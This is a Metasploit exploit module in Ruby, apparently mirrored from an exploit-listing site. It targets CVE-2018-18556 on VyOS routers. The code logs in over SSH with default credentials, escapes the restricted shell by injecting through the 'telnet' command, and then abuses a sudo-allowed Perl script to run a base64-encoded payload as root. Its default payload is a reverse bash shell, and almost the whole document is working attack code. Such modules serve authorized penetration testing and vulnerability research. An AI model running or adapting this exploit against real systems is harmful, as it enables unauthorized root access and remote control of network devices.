Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT/LINUX/SSH/VYOS_RESTRICTED_SHELL_PRIVESC/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::SSH
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VyOS restricted-shell Escape and Privilege Escalation',
        'Description' => %q{
          This module exploits command injection vulnerabilities and an insecure
          default sudo configuration on VyOS versions 1.0.0 <= 1.1.8 to execute
          arbitrary system commands as root.

          VyOS features a `restricted-shell` system shell intended for use by
          low privilege users with operator privileges. This module exploits
          a vulnerability in the `telnet` command to break out of the restricted
          shell, then uses sudo to exploit a command injection vulnerability in
          `/opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl` to execute commands
          with root privileges.

          This module has been tested successfully on VyOS 1.1.8 amd64 and
          VyOS 1.0.0 i386.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Rich Mirch', # discovery and exploit
          'bcoles' # metasploit
        ],
        'References' =>
        [
          [ 'CVE', '2018-18556' ],
          [ 'URL', 'https://blog.vyos.io/the-operator-level-is-proved-insecure-and-will-be-removed-in-the-next-releases' ],
          [ 'URL', 'https://blog.mirch.io/2018/11/05/cve-2018-18556-vyos-privilege-escalation-via-sudo-pppd-for-operator-users/' ],
          [ 'URL', 'https://github.com/mirchr/security-research/blob/master/vulnerabilities/VyOS/CVE-2018-18556.sh' ],
        ],
        'Arch' => ARCH_CMD,
        'DisclosureDate' => '2018-11-05',
        'DefaultOptions' =>
        {
          'Payload' => 'cmd/unix/reverse_bash'
        },
        'DefaultTarget' => 0,
        'Platform' => 'unix',
        'Privileged' => true,
        'Targets' =>
        [
          [
            'Automatic', {}
          ]
        ]
      )
    )

    register_options(
      [
        Opt::RPORT(22),
        OptString.new('USERNAME', [true, 'SSH username', 'vyos']),
        OptString.new('PASSWORD', [true, 'SSH password', 'vyos']),
      ]
    )

    register_advanced_options(
      [
        Opt::Proxies,
        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 15]),
        OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])
      ]
    )
  end

  def check
    factory = ssh_socket_factory
    opts = {
      auth_methods: ['password', 'keyboard-interactive'],
      port: rport,
      use_agent: false,
      config: false,
      password: password,
      proxy: factory,
      non_interactive: true,
      verify_host_key: :never
    }

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, username, opts)
      end
    rescue Rex::ConnectionError
      return CheckCode::Safe
    rescue Net::SSH::Disconnect, ::EOFError
      return CheckCode::Safe
    rescue Timeout::Error
      return CheckCode::Safe
    rescue Net::SSH::AuthenticationFailed
      return CheckCode::Safe
    rescue Net::SSH::Exception
      return CheckCode::Safe
    end

    CheckCode::Detected('SSH service detected.')
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def exploit
    factory = ssh_socket_factory

    opts = {
      auth_methods: ['password', 'keyboard-interactive'],
      port: rport,
      use_agent: false,
      config: false,
      password: password,
      proxy: factory,
      non_interactive: true,
      verify_host_key: :never
    }

    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    print_status("#{rhost}:#{rport} - Attempt to login to VyOS SSH ...")

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, username, opts)
      end
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
    rescue ::Timeout::Error
      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")
    end

    unless ssh
      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Session couldn't be established")
    end

    print_good('SSH connection established')

    ssh.open_channel do |channel|
      print_status('Requesting PTY ...')

      channel.request_pty do |ch, pty_success|
        unless pty_success
          fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not request PTY")
        end

        print_good('PTY successfully obtained')

        print_status('Requesting shell ...')

        ch.send_channel_request('shell') do |_ch, shell_success|
          unless shell_success
            fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not open shell")
          end

          print_good('Remote shell successfully obtained')
        end
      end

      vyos_check_executed = false
      expect_system_shell = false
      payload_executed = false

      payload_b64 = Rex::Text.encode_base64(payload.encoded)
      payload_cmd = ''

      channel.on_data do |_ch, data|
        return nil if payload_executed

        unless vyos_check_executed
          unless data.downcase.include?('vyos')
            fail_with(Failure::NotVulnerable, 'Remote system is not VyOS')
          end

          print_status('Remote system is VyOS')
          vyos_check_executed = true
          next
        end

        if !expect_system_shell && data.downcase.include?(username.downcase)
          if data.include?('> ')
            print_status('Remote session is using restricted-shell. Attempting breakout to system shell ...')
            channel.send_data("telnet ';/bin/sh'\n")
            payload_cmd = "sudo /opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl -action show-neighbor -i ';echo #{payload_b64}|base64 -d|/bin/sh'"
            expect_system_shell = true
            next
          elsif data.include?('$ ')
            print_status('Remote session is using unrestricted shell. Launching system shell ...')
            channel.send_data("/bin/sh\n")
            payload_cmd = "echo #{payload_b64}|base64 -d|sudo /bin/sh"
            expect_system_shell = true
            next
          end
        end

        if expect_system_shell && data.include?('sh') && data.include?('$ ')
          print_good('Unrestricted system shell successfully obtained. Sending payload ...')
          vprint_status("Sending command: #{payload_cmd}")
          channel.send_data("#{payload_cmd}\n")
          payload_executed = true
        end
      end
    end

    begin
      ssh.loop unless session_created?
    rescue Errno::EBADF => e
      elog(e)
    end
  end
end